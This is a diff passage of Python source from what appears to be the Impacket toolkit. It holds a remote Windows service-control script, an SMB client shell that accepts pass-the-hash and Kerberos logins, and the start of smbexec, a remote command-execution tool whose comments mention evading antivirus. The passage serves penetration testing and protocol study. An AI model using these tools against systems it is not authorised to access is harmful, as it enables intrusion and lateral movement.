s = rpctransport.get_smb_connection()
|
||||
key = s.getSessionKey()
|
||||
try:
|
||||
password = (self.__options.password+'\x00').encode('utf-16le')
|
||||
except UnicodeDecodeError:
|
||||
import sys
|
||||
password = (self.__options.password+'\x00').decode(sys.getfilesystemencoding()).encode('utf-16le')
|
||||
password = encryptSecret(key, password)
|
||||
else:
|
||||
password = NULL
|
||||
|
||||
|
||||
#resp = scmr.hRChangeServiceConfigW(rpc, serviceHandle, display, path, service_type, start_type, start_name, password)
|
||||
scmr.hRChangeServiceConfigW(rpc, serviceHandle, service_type, start_type, scmr.SERVICE_ERROR_IGNORE, path,
|
||||
NULL, NULL, NULL, 0, start_name, password, 0, display)
|
||||
scmr.hRCloseServiceHandle(rpc, serviceHandle)
|
||||
else:
|
||||
logging.error("Unknown action %s" % self.__action)
|
||||
|
||||
scmr.hRCloseServiceHandle(rpc, scManagerHandle)
|
||||
|
||||
dce.disconnect()
|
||||
|
||||
return
|
||||
|
||||
|
||||
# Process command-line arguments.
|
||||
if __name__ == '__main__':
|
||||
|
||||
# Init the example's logger theme
|
||||
logger.init()
|
||||
# Explicitly changing the stdout encoding format
|
||||
if sys.stdout.encoding is None:
|
||||
# Output is redirected to a file
|
||||
sys.stdout = codecs.getwriter('utf8')(sys.stdout)
|
||||
print version.BANNER
|
||||
|
||||
parser = argparse.ArgumentParser(add_help = True, description = "Windows Service manipulation script.")
|
||||
|
||||
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
|
||||
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
|
||||
subparsers = parser.add_subparsers(help='actions', dest='action')
|
||||
|
||||
# A start command
|
||||
start_parser = subparsers.add_parser('start', help='starts the service')
|
||||
start_parser.add_argument('-name', action='store', required=True, help='service name')
|
||||
|
||||
# A stop command
|
||||
stop_parser = subparsers.add_parser('stop', help='stops the service')
|
||||
stop_parser.add_argument('-name', action='store', required=True, help='service name')
|
||||
|
||||
# A delete command
|
||||
delete_parser = subparsers.add_parser('delete', help='deletes the service')
|
||||
delete_parser.add_argument('-name', action='store', required=True, help='service name')
|
||||
|
||||
# A status command
|
||||
status_parser = subparsers.add_parser('status', help='returns service status')
|
||||
status_parser.add_argument('-name', action='store', required=True, help='service name')
|
||||
|
||||
# A config command
|
||||
config_parser = subparsers.add_parser('config', help='returns service configuration')
|
||||
config_parser.add_argument('-name', action='store', required=True, help='service name')
|
||||
|
||||
# A list command
|
||||
list_parser = subparsers.add_parser('list', help='list available services')
|
||||
|
||||
# A create command
|
||||
create_parser = subparsers.add_parser('create', help='create a service')
|
||||
create_parser.add_argument('-name', action='store', required=True, help='service name')
|
||||
create_parser.add_argument('-display', action='store', required=True, help='display name')
|
||||
create_parser.add_argument('-path', action='store', required=True, help='binary path')
|
||||
|
||||
# A change command
|
||||
create_parser = subparsers.add_parser('change', help='change a service configuration')
|
||||
create_parser.add_argument('-name', action='store', required=True, help='service name')
|
||||
create_parser.add_argument('-display', action='store', required=False, help='display name')
|
||||
create_parser.add_argument('-path', action='store', required=False, help='binary path')
|
||||
create_parser.add_argument('-service_type', action='store', required=False, help='service type')
|
||||
create_parser.add_argument('-start_type', action='store', required=False, help='service start type')
|
||||
create_parser.add_argument('-start_name', action='store', required=False, help='string that specifies the name of '
|
||||
'the account under which the service should run')
|
||||
create_parser.add_argument('-password', action='store', required=False, help='string that contains the password of '
|
||||
'the account whose name was specified by the start_name parameter')
|
||||
|
||||
group = parser.add_argument_group('authentication')
|
||||
|
||||
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
|
||||
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
|
||||
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
|
||||
'(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
|
||||
'ones specified in the command line')
|
||||
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
|
||||
'(128 or 256 bits)')
|
||||
|
||||
group = parser.add_argument_group('connection')
|
||||
|
||||
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If '
|
||||
'ommited it use the domain part (FQDN) specified in the target parameter')
|
||||
group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. If '
|
||||
'ommited it will use whatever was specified as target. This is useful when target is the NetBIOS '
|
||||
'name and you cannot resolve it')
|
||||
group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
|
||||
help='Destination port to connect to SMB Server')
|
||||
|
||||
if len(sys.argv)==1:
|
||||
parser.print_help()
|
||||
sys.exit(1)
|
||||
|
||||
options = parser.parse_args()
|
||||
|
||||
if options.debug is True:
|
||||
logging.getLogger().setLevel(logging.DEBUG)
|
||||
else:
|
||||
logging.getLogger().setLevel(logging.INFO)
|
||||
|
||||
import re
|
||||
|
||||
domain, username, password, remoteName = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
|
||||
options.target).groups('')
|
||||
|
||||
#In case the password contains '@'
|
||||
if '@' in remoteName:
|
||||
password = password + '@' + remoteName.rpartition('@')[0]
|
||||
remoteName = remoteName.rpartition('@')[2]
|
||||
|
||||
if domain is None:
|
||||
domain = ''
|
||||
|
||||
if options.target_ip is None:
|
||||
options.target_ip = remoteName
|
||||
|
||||
if options.aesKey is not None:
|
||||
options.k = True
|
||||
|
||||
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
|
||||
from getpass import getpass
|
||||
password = getpass("Password:")
|
||||
|
||||
services = SVCCTL(username, password, domain, options, int(options.port))
|
||||
try:
|
||||
services.run(remoteName, options.target_ip)
|
||||
except Exception, e:
|
||||
logging.error(str(e))
|
||||
@@ -0,0 +1,560 @@
|
||||
#!/usr/bin/env python
|
||||
# Copyright (c) 2003-2016 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Description: Mini shell using some of the SMB funcionality of the library
|
||||
#
|
||||
# Author:
|
||||
# Alberto Solino (@agsolino)
|
||||
#
|
||||
#
|
||||
# Reference for:
|
||||
# SMB DCE/RPC
|
||||
#
|
||||
|
||||
import sys
|
||||
import time
|
||||
import logging
|
||||
import argparse
|
||||
import cmd
|
||||
import os
|
||||
|
||||
from impacket.examples import logger
|
||||
from impacket import version
|
||||
from impacket.dcerpc.v5 import samr, transport, srvs
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.smbconnection import *
|
||||
|
||||
|
||||
# If you wanna have readline like functionality in Windows, install pyreadline
|
||||
try:
|
||||
import pyreadline as readline
|
||||
except ImportError:
|
||||
import readline
|
||||
|
||||
class MiniImpacketShell(cmd.Cmd):
|
||||
def __init__(self, smbClient,tcpShell=None):
|
||||
#If the tcpShell parameter is passed (used in ntlmrelayx),
|
||||
# all input and output is redirected to a tcp socket
|
||||
# instead of to stdin / stdout
|
||||
if tcpShell is not None:
|
||||
cmd.Cmd.__init__(self,stdin=tcpShell,stdout=tcpShell)
|
||||
sys.stdout = tcpShell
|
||||
sys.stdin = tcpShell
|
||||
sys.stderr = tcpShell
|
||||
self.use_rawinput = False
|
||||
self.shell = tcpShell
|
||||
else:
|
||||
cmd.Cmd.__init__(self)
|
||||
self.shell = None
|
||||
|
||||
self.prompt = '# '
|
||||
self.smb = smbClient
|
||||
self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, self.TGT, self.TGS = smbClient.getCredentials()
|
||||
self.tid = None
|
||||
self.intro = 'Type help for list of commands'
|
||||
self.pwd = ''
|
||||
self.share = None
|
||||
self.loggedIn = True
|
||||
self.last_output = None
|
||||
self.completion = []
|
||||
|
||||
def emptyline(self):
|
||||
pass
|
||||
|
||||
def precmd(self,line):
|
||||
# switch to unicode
|
||||
return line.decode('utf-8')
|
||||
|
||||
def onecmd(self,s):
|
||||
retVal = False
|
||||
try:
|
||||
retVal = cmd.Cmd.onecmd(self,s)
|
||||
except Exception, e:
|
||||
#import traceback
|
||||
#print traceback.print_exc()
|
||||
logging.error(e)
|
||||
|
||||
return retVal
|
||||
|
||||
def do_exit(self,line):
|
||||
if self.shell is not None:
|
||||
self.shell.close()
|
||||
return True
|
||||
|
||||
def do_shell(self, line):
|
||||
output = os.popen(line).read()
|
||||
print output
|
||||
self.last_output = output
|
||||
|
||||
def do_help(self,line):
|
||||
print """
|
||||
open {host,port=445} - opens a SMB connection against the target host/port
|
||||
login {domain/username,passwd} - logs into the current SMB connection, no parameters for NULL connection. If no password specified, it'll be prompted
|
||||
kerberos_login {domain/username,passwd} - logs into the current SMB connection using Kerberos. If no password specified, it'll be prompted. Use the DNS resolvable domain name
|
||||
login_hash {domain/username,lmhash:nthash} - logs into the current SMB connection using the password hashes
|
||||
logoff - logs off
|
||||
shares - list available shares
|
||||
use {sharename} - connect to an specific share
|
||||
cd {path} - changes the current directory to {path}
|
||||
lcd {path} - changes the current local directory to {path}
|
||||
pwd - shows current remote directory
|
||||
password - changes the user password, the new password will be prompted for input
|
||||
ls {wildcard} - lists all the files in the current directory
|
||||
rm {file} - removes the selected file
|
||||
mkdir {dirname} - creates the directory under the current path
|
||||
rmdir {dirname} - removes the directory under the current path
|
||||
put {filename} - uploads the filename into the current path
|
||||
get {filename} - downloads the filename from the current path
|
||||
info - returns NetrServerInfo main results
|
||||
who - returns the sessions currently connected at the target host (admin required)
|
||||
close - closes the current SMB Session
|
||||
exit - terminates the server process (and this session)
|
||||
|
||||
"""
|
||||
|
||||
def do_password(self, line):
|
||||
if self.loggedIn is False:
|
||||
logging.error("Not logged in")
|
||||
return
|
||||
from getpass import getpass
|
||||
newPassword = getpass("New Password:")
|
||||
rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename = r'\samr', smb_connection = self.smb)
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
dce.connect()
|
||||
dce.bind(samr.MSRPC_UUID_SAMR)
|
||||
samr.hSamrUnicodeChangePasswordUser2(dce, '\x00', self.username, self.password, newPassword, self.lmhash, self.nthash)
|
||||
self.password = newPassword
|
||||
self.lmhash = None
|
||||
self.nthash = None
|
||||
|
||||
def do_open(self,line):
|
||||
l = line.split(' ')
|
||||
port = 445
|
||||
if len(l) > 0:
|
||||
host = l[0]
|
||||
if len(l) > 1:
|
||||
port = int(l[1])
|
||||
|
||||
|
||||
if port == 139:
|
||||
self.smb = SMBConnection('*SMBSERVER', host, sess_port=port)
|
||||
else:
|
||||
self.smb = SMBConnection(host, host, sess_port=port)
|
||||
|
||||
dialect = self.smb.getDialect()
|
||||
if dialect == SMB_DIALECT:
|
||||
logging.info("SMBv1 dialect used")
|
||||
elif dialect == SMB2_DIALECT_002:
|
||||
logging.info("SMBv2.0 dialect used")
|
||||
elif dialect == SMB2_DIALECT_21:
|
||||
logging.info("SMBv2.1 dialect used")
|
||||
else:
|
||||
logging.info("SMBv3.0 dialect used")
|
||||
|
||||
self.share = None
|
||||
self.tid = None
|
||||
self.pwd = ''
|
||||
self.loggedIn = False
|
||||
self.password = None
|
||||
self.lmhash = None
|
||||
self.nthash = None
|
||||
self.username = None
|
||||
|
||||
def do_login(self,line):
|
||||
if self.smb is None:
|
||||
logging.error("No connection open")
|
||||
return
|
||||
l = line.split(' ')
|
||||
username = ''
|
||||
password = ''
|
||||
domain = ''
|
||||
if len(l) > 0:
|
||||
username = l[0]
|
||||
if len(l) > 1:
|
||||
password = l[1]
|
||||
|
||||
if username.find('/') > 0:
|
||||
domain, username = username.split('/')
|
||||
|
||||
if password == '' and username != '':
|
||||
from getpass import getpass
|
||||
password = getpass("Password:")
|
||||
|
||||
self.smb.login(username, password, domain=domain)
|
||||
self.password = password
|
||||
self.username = username
|
||||
|
||||
if self.smb.isGuestSession() > 0:
|
||||
logging.info("GUEST Session Granted")
|
||||
else:
|
||||
logging.info("USER Session Granted")
|
||||
self.loggedIn = True
|
||||
|
||||
def do_kerberos_login(self,line):
|
||||
if self.smb is None:
|
||||
logging.error("No connection open")
|
||||
return
|
||||
l = line.split(' ')
|
||||
username = ''
|
||||
password = ''
|
||||
domain = ''
|
||||
if len(l) > 0:
|
||||
username = l[0]
|
||||
if len(l) > 1:
|
||||
password = l[1]
|
||||
|
||||
if username.find('/') > 0:
|
||||
domain, username = username.split('/')
|
||||
|
||||
if domain == '':
|
||||
logging.error("Domain must be specified for Kerberos login")
|
||||
return
|
||||
|
||||
if password == '' and username != '':
|
||||
from getpass import getpass
|
||||
password = getpass("Password:")
|
||||
|
||||
self.smb.kerberosLogin(username, password, domain=domain)
|
||||
self.password = password
|
||||
self.username = username
|
||||
|
||||
if self.smb.isGuestSession() > 0:
|
||||
logging.info("GUEST Session Granted")
|
||||
else:
|
||||
logging.info("USER Session Granted")
|
||||
self.loggedIn = True
|
||||
|
||||
def do_login_hash(self,line):
|
||||
if self.smb is None:
|
||||
logging.error("No connection open")
|
||||
return
|
||||
l = line.split(' ')
|
||||
domain = ''
|
||||
if len(l) > 0:
|
||||
username = l[0]
|
||||
if len(l) > 1:
|
||||
hashes = l[1]
|
||||
else:
|
||||
logging.error("Hashes needed. Format is lmhash:nthash")
|
||||
return
|
||||
|
||||
if username.find('/') > 0:
|
||||
domain, username = username.split('/')
|
||||
|
||||
lmhash, nthash = hashes.split(':')
|
||||
|
||||
self.smb.login(username, '', domain,lmhash=lmhash, nthash=nthash)
|
||||
self.username = username
|
||||
self.lmhash = lmhash
|
||||
self.nthash = nthash
|
||||
|
||||
if self.smb.isGuestSession() > 0:
|
||||
logging.info("GUEST Session Granted")
|
||||
else:
|
||||
logging.info("USER Session Granted")
|
||||
self.loggedIn = True
|
||||
|
||||
def do_logoff(self, line):
|
||||
if self.smb is None:
|
||||
logging.error("No connection open")
|
||||
return
|
||||
self.smb.logoff()
|
||||
del self.smb
|
||||
self.share = None
|
||||
self.smb = None
|
||||
self.tid = None
|
||||
self.pwd = ''
|
||||
self.loggedIn = False
|
||||
self.password = None
|
||||
self.lmhash = None
|
||||
self.nthash = None
|
||||
self.username = None
|
||||
|
||||
def do_info(self, line):
|
||||
if self.loggedIn is False:
|
||||
logging.error("Not logged in")
|
||||
return
|
||||
rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename = r'\srvsvc', smb_connection = self.smb)
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
dce.connect()
|
||||
dce.bind(srvs.MSRPC_UUID_SRVS)
|
||||
resp = srvs.hNetrServerGetInfo(dce, 102)
|
||||
|
||||
print "Version Major: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_major']
|
||||
print "Version Minor: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_minor']
|
||||
print "Server Name: %s" % resp['InfoStruct']['ServerInfo102']['sv102_name']
|
||||
print "Server Comment: %s" % resp['InfoStruct']['ServerInfo102']['sv102_comment']
|
||||
print "Server UserPath: %s" % resp['InfoStruct']['ServerInfo102']['sv102_userpath']
|
||||
print "Simultaneous Users: %d" % resp['InfoStruct']['ServerInfo102']['sv102_users']
|
||||
|
||||
def do_who(self, line):
|
||||
if self.loggedIn is False:
|
||||
logging.error("Not logged in")
|
||||
return
|
||||
rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename = r'\srvsvc', smb_connection = self.smb)
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
dce.connect()
|
||||
dce.bind(srvs.MSRPC_UUID_SRVS)
|
||||
resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 10)
|
||||
|
||||
for session in resp['InfoStruct']['SessionInfo']['Level10']['Buffer']:
|
||||
print "host: %15s, user: %5s, active: %5d, idle: %5d" % (
|
||||
session['sesi10_cname'][:-1], session['sesi10_username'][:-1], session['sesi10_time'],
|
||||
session['sesi10_idle_time'])
|
||||
|
||||
def do_shares(self, line):
|
||||
if self.loggedIn is False:
|
||||
logging.error("Not logged in")
|
||||
return
|
||||
resp = self.smb.listShares()
|
||||
for i in range(len(resp)):
|
||||
print resp[i]['shi1_netname'][:-1]
|
||||
|
||||
def do_use(self,line):
|
||||
if self.loggedIn is False:
|
||||
logging.error("Not logged in")
|
||||
return
|
||||
self.share = line
|
||||
self.tid = self.smb.connectTree(line)
|
||||
self.pwd = '\\'
|
||||
self.do_ls('', False)
|
||||
|
||||
def complete_cd(self, text, line, begidx, endidx):
|
||||
return self.complete_get(text, line, begidx, endidx, include = 2)
|
||||
|
||||
def do_cd(self, line):
|
||||
if self.tid is None:
|
||||
logging.error("No share selected")
|
||||
return
|
||||
p = string.replace(line,'/','\\')
|
||||
oldpwd = self.pwd
|
||||
if p[0] == '\\':
|
||||
self.pwd = line
|
||||
else:
|
||||
self.pwd = ntpath.join(self.pwd, line)
|
||||
self.pwd = ntpath.normpath(self.pwd)
|
||||
# Let's try to open the directory to see if it's valid
|
||||
try:
|
||||
fid = self.smb.openFile(self.tid, self.pwd, creationOption = FILE_DIRECTORY_FILE \
|
||||
, desiredAccess = FILE_READ_DATA | FILE_LIST_DIRECTORY \
|
||||
, shareMode = FILE_SHARE_READ | FILE_SHARE_WRITE \
|
||||
)
|
||||
self.smb.closeFile(self.tid,fid)
|
||||
except SessionError:
|
||||
self.pwd = oldpwd
|
||||
raise
|
||||
|
||||
def do_lcd(self, s):
|
||||
print s
|
||||
if s == '':
|
||||
print os.getcwd()
|
||||
else:
|
||||
os.chdir(s)
|
||||
|
||||
def do_pwd(self,line):
|
||||
if self.loggedIn is False:
|
||||
logging.error("Not logged in")
|
||||
return
|
||||
print self.pwd
|
||||
|
||||
def do_ls(self, wildcard, display = True):
|
||||
if self.loggedIn is False:
|
||||
logging.error("Not logged in")
|
||||
return
|
||||
if self.tid is None:
|
||||
logging.error("No share selected")
|
||||
return
|
||||
if wildcard == '':
|
||||
pwd = ntpath.join(self.pwd,'*')
|
||||
else:
|
||||
pwd = ntpath.join(self.pwd, wildcard)
|
||||
self.completion = []
|
||||
pwd = string.replace(pwd,'/','\\')
|
||||
pwd = ntpath.normpath(pwd)
|
||||
for f in self.smb.listPath(self.share, pwd):
|
||||
if display is True:
|
||||
print "%crw-rw-rw- %10d %s %s" % (
|
||||
'd' if f.is_directory() > 0 else '-', f.get_filesize(), time.ctime(float(f.get_mtime_epoch())),
|
||||
f.get_longname())
|
||||
self.completion.append((f.get_longname(), f.is_directory()))
|
||||
|
||||
|
||||
def do_rm(self, filename):
|
||||
if self.tid is None:
|
||||
logging.error("No share selected")
|
||||
return
|
||||
f = ntpath.join(self.pwd, filename)
|
||||
file = string.replace(f,'/','\\')
|
||||
self.smb.deleteFile(self.share, file)
|
||||
|
||||
def do_mkdir(self, path):
|
||||
if self.tid is None:
|
||||
logging.error("No share selected")
|
||||
return
|
||||
p = ntpath.join(self.pwd, path)
|
||||
pathname = string.replace(p,'/','\\')
|
||||
self.smb.createDirectory(self.share,pathname)
|
||||
|
||||
def do_rmdir(self, path):
|
||||
if self.tid is None:
|
||||
logging.error("No share selected")
|
||||
return
|
||||
p = ntpath.join(self.pwd, path)
|
||||
pathname = string.replace(p,'/','\\')
|
||||
self.smb.deleteDirectory(self.share, pathname)
|
||||
|
||||
def do_put(self, pathname):
|
||||
if self.tid is None:
|
||||
logging.error("No share selected")
|
||||
return
|
||||
src_path = pathname
|
||||
dst_name = os.path.basename(src_path)
|
||||
|
||||
fh = open(pathname, 'rb')
|
||||
f = ntpath.join(self.pwd,dst_name)
|
||||
finalpath = string.replace(f,'/','\\')
|
||||
self.smb.putFile(self.share, finalpath, fh.read)
|
||||
fh.close()
|
||||
|
||||
def complete_get(self, text, line, begidx, endidx, include = 1):
|
||||
# include means
|
||||
# 1 just files
|
||||
# 2 just directories
|
||||
p = string.replace(line,'/','\\')
|
||||
if p.find('\\') < 0:
|
||||
items = []
|
||||
if include == 1:
|
||||
mask = 0
|
||||
else:
|
||||
mask = 0x010
|
||||
for i in self.completion:
|
||||
if i[1] == mask:
|
||||
items.append(i[0])
|
||||
if text:
|
||||
return [
|
||||
item for item in items
|
||||
if item.upper().startswith(text.upper())
|
||||
]
|
||||
else:
|
||||
return items
|
||||
|
||||
def do_get(self, filename):
|
||||
if self.tid is None:
|
||||
logging.error("No share selected")
|
||||
return
|
||||
filename = string.replace(filename,'/','\\')
|
||||
fh = open(ntpath.basename(filename),'wb')
|
||||
pathname = ntpath.join(self.pwd,filename)
|
||||
try:
|
||||
self.smb.getFile(self.share, pathname, fh.write)
|
||||
except:
|
||||
fh.close()
|
||||
os.remove(filename)
|
||||
raise
|
||||
fh.close()
|
||||
|
||||
def do_close(self, line):
|
||||
self.do_logoff(line)
|
||||
|
||||
def main():
|
||||
# Init the example's logger theme
|
||||
logger.init()
|
||||
print version.BANNER
|
||||
parser = argparse.ArgumentParser(add_help = True, description = "SMB client implementation.")
|
||||
|
||||
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
|
||||
parser.add_argument('-file', type=argparse.FileType('r'), help='input file with commands to execute in the mini shell')
|
||||
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
|
||||
|
||||
group = parser.add_argument_group('authentication')
|
||||
|
||||
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
|
||||
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
|
||||
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
|
||||
'(KRB5CCNAME) based on target parameters. If valid credentials '
|
||||
'cannot be found, it will use the ones specified in the command '
|
||||
'line')
|
||||
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
|
||||
'(128 or 256 bits)')
|
||||
|
||||
group = parser.add_argument_group('connection')
|
||||
|
||||
group.add_argument('-dc-ip', action='store', metavar="ip address",
|
||||
help='IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in '
|
||||
'the target parameter')
|
||||
group.add_argument('-target-ip', action='store', metavar="ip address",
|
||||
help='IP Address of the target machine. If ommited it will use whatever was specified as target. '
|
||||
'This is useful when target is the NetBIOS name and you cannot resolve it')
|
||||
group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
|
||||
help='Destination port to connect to SMB Server')
|
||||
|
||||
if len(sys.argv)==1:
|
||||
parser.print_help()
|
||||
sys.exit(1)
|
||||
|
||||
options = parser.parse_args()
|
||||
|
||||
if options.debug is True:
|
||||
logging.getLogger().setLevel(logging.DEBUG)
|
||||
else:
|
||||
logging.getLogger().setLevel(logging.INFO)
|
||||
|
||||
import re
|
||||
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
|
||||
options.target).groups('')
|
||||
|
||||
#In case the password contains '@'
|
||||
if '@' in address:
|
||||
password = password + '@' + address.rpartition('@')[0]
|
||||
address = address.rpartition('@')[2]
|
||||
|
||||
if options.target_ip is None:
|
||||
options.target_ip = address
|
||||
|
||||
if domain is None:
|
||||
domain = ''
|
||||
|
||||
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
|
||||
from getpass import getpass
|
||||
password = getpass("Password:")
|
||||
|
||||
if options.aesKey is not None:
|
||||
options.k = True
|
||||
|
||||
if options.hashes is not None:
|
||||
lmhash, nthash = options.hashes.split(':')
|
||||
else:
|
||||
lmhash = ''
|
||||
nthash = ''
|
||||
|
||||
try:
|
||||
smbClient = SMBConnection(address, options.target_ip, sess_port=int(options.port))
|
||||
if options.k is True:
|
||||
smbClient.kerberosLogin(username, password, domain, lmhash, nthash, options.aesKey, options.dc_ip )
|
||||
else:
|
||||
smbClient.login(username, password, domain, lmhash, nthash)
|
||||
|
||||
shell = MiniImpacketShell(smbClient)
|
||||
|
||||
if options.file is not None:
|
||||
logging.info("Executing commands from %s" % options.file.name)
|
||||
for line in options.file.readlines():
|
||||
if line[0] != '#':
|
||||
print "# %s" % line,
|
||||
shell.onecmd(line)
|
||||
else:
|
||||
print line,
|
||||
else:
|
||||
shell.cmdloop()
|
||||
except Exception, e:
|
||||
#import traceback
|
||||
#print traceback.print_exc()
|
||||
logging.error(str(e))
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
|
||||
@@ -0,0 +1,350 @@
|
||||
#!/usr/bin/env python
|
||||
# Copyright (c) 2003-2016 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# A similar approach to psexec w/o using RemComSvc. The technique is described here
|
||||
# http://www.accuvant.com/blog/owning-computers-without-shell-access
|
||||
# Our implementation goes one step further, instantiating a local smbserver to receive the
|
||||
# output of the commands. This is useful in the situation where the target machine does NOT
|
||||
# have a writeable share available.
|
||||
# Keep in mind that, although this technique might help avoiding AVs, there are a lot of
|
||||
# event logs generated and you can't expect executing tasks that will last long since Windows
|
||||
# will kill the process since it's not responding as a Windows service.
|
||||
# Certainly not a stealthy way.
|
||||
#
|
||||
# This script works in two ways:
|
||||
# 1) share mode: you specify a share, and everything is done through that share.
|
||||
# 2) server mode: if for any reason there's no share available, this script will launch a local
|
||||
# SMB server, so the output of the commands executed are sent back by the target machine
|
||||
# into a locally shared folder. Keep in mind you would need root access to bind to port 445
|
||||
# in the local machine.
|
||||
#
|
||||
# Author:
|
||||
# beto (@agsolino)
|
||||
#
|
||||
# Reference for:
|
||||
# DCE/RPC and SMB.
|
||||
|
||||
import sys
|
||||
import os
|
||||
import cmd
|
||||
import argparse
|
||||
import ConfigParser
|
||||
import logging
|
||||
from threading import Thread
|
||||
|
||||
from impacket.examples import logger
|
||||
from impacket import version, smbserver
|
||||
from impacket.smbconnection import *
|
||||
from impacket.dcerpc.v5 import transport, scmr
|
||||
|
||||
OUTPUT_FILENAME = '__output'
|
||||
BATCH_FILENAME = 'execute.bat'
|
||||
SMBSERVER_DIR = '__tmp'
|
||||
DUMMY_SHARE = 'TMP'
|
||||
|
||||
class SMBServer(Thread):
|
||||
def __init__(self):
|
||||
Thread.__init__(self)
|
||||
self.smb = None
|
||||
|
||||
def cleanup_server(self):
|
||||
logging.info('Cleaning up..')
|
||||
try:
|
||||
os.unlink(SMBSERVER_DIR + '/smb.log')
|
||||
except:
|
||||
pass
|
||||
os.rmdir(SMBSERVER_DIR)
|
||||
|
||||
def run(self):
|
||||
# Here we write a mini config for the server
|
||||
smbConfig = ConfigParser.ConfigParser()
|
||||
smbConfig.add_section('global')
|
||||
smbConfig.set('global','server_name','server_name')
|
||||
smbConfig.set('global','server_os','UNIX')
|
||||
smbConfig.set('global','server_domain','WORKGROUP')
|
||||
smbConfig.set('global','log_file',SMBSERVER_DIR + '/smb.log')
|
||||
smbConfig.set('global','credentials_file','')
|
||||
|
||||
# Let's add a dummy share
|
||||
smbConfig.add_section(DUMMY_SHARE)
|
||||
smbConfig.set(DUMMY_SHARE,'comment','')
|
||||
smbConfig.set(DUMMY_SHARE,'read only','no')
|
||||
smbConfig.set(DUMMY_SHARE,'share type','0')
|
||||
smbConfig.set(DUMMY_SHARE,'path',SMBSERVER_DIR)
|
||||
|
||||
# IPC always needed
|
||||
smbConfig.add_section('IPC$')
|
||||
smbConfig.set('IPC$','comment','')
|
||||
smbConfig.set('IPC$','read only','yes')
|
||||
smbConfig.set('IPC$','share type','3')
|
||||
smbConfig.set('IPC$','path')
|
||||
|
||||
self.smb = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig)
|
||||
logging.info('Creating tmp directory')
|
||||
try:
|
||||
os.mkdir(SMBSERVER_DIR)
|
||||
except Exception, e:
|
||||
logging.critical(str(e))
|
||||
pass
|
||||
logging.info('Setting up SMB Server')
|
||||
self.smb.processConfigFile()
|
||||
logging.info('Ready to listen...')
|
||||
try:
|
||||
self.smb.serve_forever()
|
||||
except:
|
||||
pass
|
||||
|
||||
def stop(self):
|
||||
self.cleanup_server()
|
||||
self.smb.socket.close()
|
||||
self.smb.server_close()
|
||||
self._Thread__stop()
|
||||
|
||||
class CMDEXEC:
|
||||
def __init__(self, username='', password='', domain='', hashes=None, aesKey=None,
|
||||
doKerberos=None, kdcHost=None, mode=None, share=None, port=445):
|
||||
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__port = port
|
||||
self.__serviceName = 'BTOBTO'
|
||||
self.__domain = domain
|
||||
self.__lmhash = ''
|
||||
self.__nthash = ''
|
||||
self.__aesKey = aesKey
|
||||
self.__doKerberos = doKerberos
|
||||
self.__kdcHost = kdcHost
|
||||
self.__share = share
|
||||
self.__mode = mode
|
||||
self.shell = None
|
||||
if hashes is not None:
|
||||
self.__lmhash, self.__nthash = hashes.split(':')
|
||||
|
||||
def run(self, remoteName, remoteHost):
|
||||
stringbinding = 'ncacn_np:%s[\pipe\svcctl]' % remoteName
|
||||
logging.debug('StringBinding %s'%stringbinding)
|
||||
rpctransport = transport.DCERPCTransportFactory(stringbinding)
|
||||
rpctransport.set_dport(self.__port)
|
||||
rpctransport.setRemoteHost(remoteHost)
|
||||
if hasattr(rpctransport,'preferred_dialect'):
|
||||
rpctransport.preferred_dialect(SMB_DIALECT)
|
||||
if hasattr(rpctransport, 'set_credentials'):
|
||||
# This method exists only for selected protocol sequences.
|
||||
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
|
||||
self.__nthash, self.__aesKey)
|
||||
rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
|
||||
|
||||
self.shell = None
|
||||
try:
|
||||
if self.__mode == 'SERVER':
|
||||
serverThread = SMBServer()
|
||||
serverThread.daemon = True
|
||||
serverThread.start()
|
